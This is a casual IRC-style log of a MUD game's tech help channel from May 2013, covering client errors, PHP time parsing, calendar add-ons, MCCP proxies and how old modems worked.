T3/r7/2013-05-20.txt.gz:{chan ch=tech}Ontuct Tech: can someone tell me what this mush dialog box means, it comes up every day, and I'd like it to stop..... http://postimg.org/image/t9y5pmfbb/
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Ixle Tech: Why so secretive Craig?
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Ontuct Tech: lol
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Ontuct Tech: but do you have an answer?
T3/r7/2013-05-20.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: http://www.gammon.com.au/forum/?id=1100
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Ixle Tech: Nope, don't use MC.
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Things like this make me all warm and fuzzy when it comes to thinking about my job prospects :-) http://thedailywtf.com/Articles/The-Truth-of-the-Matter.aspx
T3/r7/2013-05-20.txt.gz:{chan ch=tech}GraySong Gregor Tech: thanks, would read again
T3/r7/2013-05-20.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: is there a mob database plugin somewhere?
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Vonliege Tech: sort of.. but it's way more efficient to just use the web site
T3/r7/2013-05-20.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: o ok :D thanks
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Book of Etzli Tech: Pfft. Your meaning of efficiency and my meaning of efficiency differ a bit, then.
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Tech: duckbat made a proxy program which has a mob database as one of its modules
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: What do you mean? Like test if your server's online?
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: mis :P
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Doc Holliday Tech: anyone able to assist me with a stupid php problem
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Doc Holliday Tech: i have a string say "7:02 AM"
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Doc Holliday Tech: trying to convert to time, but date("h:i", $timevar) isnt working right
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Book of Etzli Tech: Is timevar set right?
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Doc Holliday Tech: yes say $timevar = "7:02 AM"
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Doc Holliday Tech: but echos 07:00
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Doc Holliday Tech: after using date()
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Doc Holliday Tech: so im stumped
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You sure you aren't automagically converting the float to an int? I am a hater of loosely typed languages for exactly this reason...
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Doc Holliday Tech: $timevar is a string
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Doc Holliday Tech: im trying to convert it to a datetime
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Doc Holliday Tech: technically just time
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Book of Etzli Tech: Do strtotime, so date("h:i", strtotime($timevar))
T3/r7/2013-05-20.txt.gz:{chan ch=tech}VampireDude Tech: are bar magnets bad for my cell phone?
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: VD, you have to be the strangest troll ever. And your competition in Druzil/Chemosh is nuked, and Zade/Xyliz is quiet...
T3/r7/2013-05-20.txt.gz:{chan ch=tech}VampireDude Tech: and starling left
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: yeah... 'left'
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Book of Etzli Tech: No, Starling got nuked.
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Tech: Book of Etzli pats VampireDude on his head.
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Elchanan Tech: thats one word for it
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Doc Holliday Tech: thanks Etzli that did it
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Doc Holliday Tech: im retarded
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Anadorr Tech: anyone else got problems resolving aardmud.org on google public DNS ?
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: nope
T3/r7/2013-05-20.txt.gz:{chan ch=tech}VampireDude Tech: okay, any other ideas for unlocking the phone? i'm on internet with pc now so i can download stuff
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: why does everyone want a tesla?  they are plagued with mechanical problems
T3/r7/2013-05-20.txt.gz:{chan ch=tech}VampireDude Tech: i dont want one. i have a chevy nova
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: you probably stole it, too
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Thrys Tech: it's a nice looking car, anyway. i saw one a few months ago. only one i've ever seen irl
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: the chvy nova?
T3/r7/2013-05-20.txt.gz:{chan ch=tech}VampireDude Tech: i'll sell you the nova.
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: re: tesla, it's looks like a jag from the back and a ford from the front
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: it's also absurdly wide
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Thrys Tech: the tesla, sorry, lol
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I think audi and benz "look" nicer
T3/r7/2013-05-20.txt.gz:{chan ch=tech}VampireDude Tech: any protips for installing gentoo linux on uefi gtp alongside of windows 8 pro?
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Taokan Tech: dropped keyboard on toe, windows help pops up.  No help available on this topic.
T3/r7/2013-05-20.txt.gz:{chan ch=tech}VampireDude Tech: lol
T3/r7/2013-05-20.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: rebind your keys bro
T3/r7/2013-05-20.txt.gz:{chan ch=tech}VampireDude Tech: how do i re-enable the backscroll buffer in tinyfugue?
T3/r7/2013-05-20.txt.gz:{chan ch=tech}VampireDude Tech: nvm. more on
T3/r7/2013-05-20.txt.gz:{chan ch=tech}VampireDude Tech: anyone know of a program that can try to recover a pkdbf2 master key to a luks partion made using serpent-xts-benbi with sha:256'd passphrase ?
T3/r7/2013-05-20.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: lolwat
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Zetkax Tech: yes, the program involves dissecting your brain looking for the missing master key
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Hanslanda Tech: he's asking if there's any fancy-shmancy way to format his hard drive.
T3/r7/2013-05-20.txt.gz:{chan ch=tech}VampireDude Tech: gruagach... my file folder is encrypted and i lost the passphrase ages ago :( but it has a text file in it that i typed my n-u-code for my cell phone in at the time.
T3/r7/2013-05-20.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: use a magnet
T3/r7/2013-05-20.txt.gz:{chan ch=tech}VampireDude Tech: zetkax oh. like in johnny neumonic
T3/r7/2013-05-20.txt.gz:{chan ch=tech}VampireDude Tech: grua, that doesnt work... 
T3/r7/2013-05-20.txt.gz:{chan ch=tech}VampireDude Tech: i thought since cloud and vpn services were prevalent, and my machine now is twice as fast... i might try and recover it :(
T3/r7/2013-05-20.txt.gz:{chan ch=tech}VampireDude Tech: vps... vpn.. whatever
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Tech: VampireDude sighs.
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Zetkax Tech: from that show all i remember is he used a disk double to go from 80GB to 160GB and then tried to fit 320GB of information
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Zetkax Tech: im thinking .. that wont work!
T3/r7/2013-05-20.txt.gz:{chan ch=tech}VampireDude Tech: sure he would, it'd be like mudding through mccp
T3/r7/2013-05-20.txt.gz:{chan ch=tech}WarPigs Tech: You need to make a few more of those thingys with knows passwords so you can see how the hashing and salting works out and then you can figure out how to go about brute forcing the unknown one. GLWT
T3/r7/2013-05-20.txt.gz:{chan ch=tech}VampireDude Tech: warpigs hmmn. okay, but it's all documented.
T3/r7/2013-05-20.txt.gz:{chan ch=tech}VampireDude Tech: darned security through obscurity :(
T3/r7/2013-05-20.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: your mom will never find that porn now
T3/r7/2013-05-20.txt.gz:{chan ch=tech}WarPigs Tech: So, you know the hashing algorithm and you know the salt?
T3/r7/2013-05-20.txt.gz:{chan ch=tech}WarPigs Tech: ...and you know the hash?
T3/r7/2013-05-20.txt.gz:{chan ch=tech}VampireDude Tech: i have the hash. yes
T3/r7/2013-05-20.txt.gz:{chan ch=tech}VampireDude Tech: i didnt use a salt. i used a passphrase
T3/r7/2013-05-20.txt.gz:{chan ch=tech}WarPigs Tech: The product probably used a salt and saved it with the hash, unless it sucks.
T3/r7/2013-05-20.txt.gz:{chan ch=tech}WarPigs Tech: Well, it probably saved the salt somewhere.
T3/r7/2013-05-20.txt.gz:{chan ch=tech}VampireDude Tech: well, i can link you to the documentation, but i know i didnt add a salt myself.
T3/r7/2013-05-20.txt.gz:{chan ch=tech}VampireDude Tech: hmmn. well. other topic question: can i have more than 4 primary partitions in a gpt partition table?
T3/r7/2013-05-20.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i work with a person with disabilities, one of them being he is blind, another making it hard to type, and he is looking to get a new computer, he was also looking into getting dragon, and i wonted to know if anyone knew of any good alternatives to make it easier for him to use his computer, as it stands we are looking for PC but he would not be opposed to a mac if its easier/better
T3/r7/2013-05-20.txt.gz:{chan ch=tech}Faylen Tech: Hm. I can help with the blindness aspect, but not the speech input I'm afraid
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Tymas Tech: anybody around?
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Faylen Tech: Yep
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Tymas Tech: how do i remove--> Trigger function "process_prompt" not found or had a previous error
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Tymas Tech: it comes up every time my prompt shows up
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Process prompt seems like an SnD thing, and the error message is the standard mush error message for attempting to do something when it has messed up previously
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Tymas Tech: How can I fix this?
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Have you tried restarting the client?
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Tymas Tech: Let me try
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Helpful hint: Before asking for help, close the program and open it again. It will fix 90% of errors.
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Tymas Tech: Ah nice
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Tymas Tech: Thank you.
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Faylen Tech: if you can figure out which plugin it is, reinstalling the plugin works, too
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Tymas Tech: Ah right
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Tymas Tech: Playing after like 8 months...so a little out of it heh
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That really goes for any computer-based something - turn it off and on again and fix just about everything
T3/r7/2013-05-21.txt.gz:{chan ch=tech}GraySong Gregor Tech: My off switch is broken
T3/r7/2013-05-21.txt.gz:{chan ch=tech}ElFeneri Tech: pull the plug
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Tymas Tech: how do you speedwalk again?
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If your off switch is broken, turf it to hardware support :-P
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Nice! Unity 3d is now royalty free!  Perhaps it's time to learn mobile app development
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Tymas Tech: how do i set a new direction for mapper?
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Curi Tech: anyone here use the lightning addon for thunderbird to get it to sync with their gmail calender?
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Curi Tech: i can't find documentation on how to get this part working
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Book of Etzli Tech: I just use the Google Calendar add-on. Hadn't heard about the lightning add-on.
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Curi Tech: hmm the lightning one was the only one i found for this
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Curi Tech: it works, just can't get it to sync with the google calender
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Book of Etzli Tech: Well, the Google Calendar makes use of Thunderbird's Web browser. Basically, it opens Calendar up in a separate tab, but makes it easier to do so.
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Curi Tech: i'll go looking for it and see if i can find it, thanks
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Curi Tech: hmm the addon manager doesn't seem to see a google calendar app other then lightning
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Book of Etzli Tech: Let me see if I can find it, then, hold on.
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Curi Tech: hrm it doesn't seem to have a way to remove the lightning addon either
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Book of Etzli Tech: Search for Google Calendar Tab -- that's the name of the extension.
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Curi Tech: ok
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Book of Etzli Tech: And you should be able to remove the lightning add-on by going to Extensions page, then clicking 'remove' on that particular add-on. It'll be to the far right.
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Curi Tech: i keep searching for this thing, and i can't tell if it's not searching or what but it keeps presenting me with the general addons page that explains what they are heh
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Curi Tech: blargh there we go
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Curi Tech: this thing is posessed...
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Book of Etzli Tech: Haha. I was about to give you the link. :p
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Book of Etzli Tech: Ya know, it's hard to be a pain in the ass with tech pranks like netsend when you don't know exactly which "username" is your intended target. "nija8599" is not the same as... "H-RVDLS3KS" ...
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Book of Etzli Tech: Silly school servers. I should just do a msg * You suck., but I'd probably get in trouble for it.
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Faylen Tech: I'm getting this odd situation with mushclient where about every hour or so, but not at exact times, it will completely freeze up, as in the whole program starts responding for about a minute. Then it'll just pick up again. Has anyone ever seen this, have any idea what might be causing it?
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Faylen Tech: Stops responding, rather
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: just for showing off - http://i.imgur.com/D4V3gPS.png :P
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Cody Tech: how do i change my font size for mush? i cant read my font on this computerunless its bigger
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Cody Tech: is there anyways to have colors on, but not so bright.
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: help color
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Zetkax Tech: wear sunglasses
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: sorry, help colorset
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Cody Tech: 'colorset normal' or 'colorset brights' dont change anything forme. looks sameboth ways
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Cody Tech: hmm, better yet,ill just waittostart playin again till i get a differant monitor.
T3/r7/2013-05-21.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: what's the command so I can see tells AND have catchtells on?
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Hanslanda Tech: catchtells
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Hanslanda Tech: catchtells doesn't prevent you from seeing tells as they happen, it just stores them for convenient REPLAY later.
T3/r7/2013-05-21.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: hm.. i thought one way wouldn't show the actual tell until you hit replay
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Faylen Tech: That's correct, although I think gmcp plugins can get around that
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Tech: depends on whether you have tags turned on (and GMCP)
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Hanslanda Tech: plus, with GMCP the catchtells buffer is superfluous.
T3/r7/2013-05-21.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: ah..  must be a tag thing then
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Tech: with tags on, you'll get tells even in note mode, etc
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Tech: help telltags for details
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Tech: (Overlord) Onslaught nods.
T3/r7/2013-05-21.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: that's what I needed. Thanks
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Faylen Tech: Oh, neat, I didn't even know about that, the telltags
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Tigernuts Tech: new xbox console to not be compatible with old xbox games?
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Hanslanda Tech: nope
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Tigernuts Tech: probably a mistake
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: think I'll just get another 360 and skip the one
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Hanslanda Tech: and by "live TV", they actually only mean TV you pay for.
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: so, xbox one = lol?/
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Mattk Tech: so i want to transfer my maps to my laptop from my PC which folder would contain them?
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I don't know, and the mud seems desolate tonight, probably nobody here to answer you.
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Tech: Mattk (
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Book of Etzli Tech: Mattk: Just follow the same instructions under the MUSH upgrade.
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Book of Etzli Tech: It's the same concept, except you're transferring your map database.
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Mattk Tech: where are those instructions
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Book of Etzli Tech: I believe Fiendish has it on his site somewhere.
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Mattk Tech: well i dont know who that is LOL
T3/r7/2013-05-21.txt.gz:{chan ch=tech}Book of Etzli Tech: You don't have to know who the person is to be able to finger them. Fiendish is the one responsible for the updates of Aard MUSH.
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Daloran Tech: The SSDs are no harder to change then the 2.5" SSDs in the MBPs though
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Daloran Tech: mis
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: and for the moving maps, that info is right on aard's website...click the screenshot, click client download...that page has the info on what to move for the mapper
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tequila & Zhalt Tech: Any advise for a good tool to compare/diff two mysql databases? For Cocoa/MacOS preferably, but a cli-tool would be OK too!
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: if i download the mccp proxy but i wanna play a different mud, can i connect to it as normal?
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: i'm usually on 2 at once..
T3/r7/2013-05-22.txt.gz:{chan ch=tech}GraySong Gregor Tech: There are other MUDs?
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: Yes :)
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Zetkax Tech: fla, yes
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Zetkax Tech: flak, yes
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: awesome zetkax, you da person
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: ok now that i fingered you, you da man
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: if that other MUD also uses mccp, you can even use the same mccp proxy for both MUDs at once
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: haha yeah man that's dope
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: i dont think it does, it's pretty antiquated
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: ok lets try this out :o
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: mccp is ancient...
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: ah didnt know that
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: mccp existed because Internet pipes used to be tiny and expensive...it's not really that needed today
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: nods...
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: i still remember playing dialup at 2400 bps
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: i'm just sick of discon half the time i run to an area and itd be nice to get the qp bonus
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Zetkax Tech: i used to have a problem being disconnected whenever i encountered lots of combat spam
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: it says you need to edit the cfg file but it's already done for you :o
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: it is, but that might be out of date...open that file in a text editor to be sure (it can't be aardwolfmud or mudservices)
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: DUDE! i'm on MCCP!
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: without switching clients :) :)
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: there's also a nice GUI Windows mccp proxy that's many years newer than mcclient, finger arkanes for that
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: Flak thanks you heartily. 
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: Flak thanks Zetkax heartily.
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: lol mccppimp
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: i dont get how it connects to localhost like that but i'll take it
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: your computer is being a relay server...the mccp proxy on your computer is "listening" for connections...and any connections it receives, it opens up a client connection to Aard, just piping in from one into out to the other
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: ahhh ok
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: so that's why you connect to localhost, because you're connecting to that listener on your own computer
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: so its like a re-direct?
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: i wish i was smarter with this kinda stuff, but wishing won't make it so :o
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: yeah, it's like if john had 2 phones, and you wanted to call mary through john...you'd call him, he'd call mary, and he'd put the 2 phone handsets together ear-to-mouth
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: you lost me at ear-to-mouth, i started thinking about sex :P
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: heh, remember the old modems that you'd put the handset into a twin-suction-cup thing? (accoustic coupler)
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: i think i saw the suction cups before but i never knew what they were for
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: i was super young back then 
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: thats my excuse anyway
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: accoustic coupler...does that amplify the signal?
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: yeah, to use modems, faxes, etc, you'd put the phone into that...and it would literally play the modem sounds into the microphone of the phone
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: wait what was the purpose of that then
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: just to annoy people?
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Scars Tech: to send data via anolog signal?
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: no, that's how the modem sounds got onto the phone system in order for the modems to work
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: ohhhh
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Ontuct Tech: you used the whole handset instead of just the phone cord
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: phone lines are analog and modems are digital?
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: that's HOW the old ones worked...it had a speaker and a microphone...it listened to the sound that the phone played, and it played its own sound into the phone
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: on the user's end, phone lines are analog yes...and modems just turn your digital "bits" into sound pulses
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Scars Tech: pretty sure the modem was the device used to translate digital to analog to digital
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: yeah, modulator demodulator
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: man thats really cool i never thought about that
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: so the frequency of the pulse carries the data
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: so to send 10101010, in a non-fancy encoding, it'd just be playing hightone-lowtone-hightone-lowtone-hightone-lowtone-hightone-lowtone
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Ontuct Tech: the modem MOdulated and DEModulated signals :p
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: cool i get it now i think abelinc
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: and there was a certain tone that you could send that would hang up the phone
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Scars Tech: and now that you understand a 20 year old technology, you can promptly forget it
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: haha i hate you scars
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Ontuct Tech: far older then 20yrs
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Scars Tech: nit meets pick, thanks for introducing them ontuct
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: what about all that shit i used to do to prompt the modem manually
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: to make them faster, once the "state changes" were as fast as the phone system's lines could handle, they'd add a second set of tones, so there'd be like "low-c/low-e" for one stream and mid-c/mid-e for a second stream, and piece that back together...
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: like ATT you would type ATT or something and it made the modem get ready
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: actually the technology is exactly the same today
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: and ATDT
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: AT, not ATT
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: they were AT codes
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: or whatever the fuck it was its been years
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: i think ATDT then dial a number
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: i cant remember why i had to do that sometimes
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: current fiber lines use the same techniques as modems for signaling, it just went from sound to light
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: or how the hell i figured it out
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Ontuct Tech: there was a whole slew of commands, handshaking etc
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: so the understanding still works for current IT networking
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: word
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: for light its just on and off?
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Scars Tech: correct
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: instead of hightone, lowtone?
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Scars Tech: again, correct
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: i heard if you look into the end of a fiber optic cable you go blind
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Scars Tech: you heard wrong :P
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: cool
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: that reminds me of the movie PI
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: yeah, and in addition to high/low, they also used different encodings to get more than just on/off to compress the bits into less signal changes
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Ontuct Tech: PI was an odd movie
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: yeah it was
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: you know what a really freaking odd movie is?
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: Brazil.
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: well, not entirely wrong...depends on which fiber cable, whether or not it's "lit", and for how long...
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Flak Tech: ahh
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: you ARE either staring into laser or LED output, and it CAN damage your eyes
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Hanslanda Tech: depends on if there's a prankster with you at the time.  A techie version of "the AIDS test" could be rather dangerous for your eyes.
T3/r7/2013-05-22.txt.gz:{chan ch=tech}Tech: but like looking into the sun, it doesn't happen in an instant
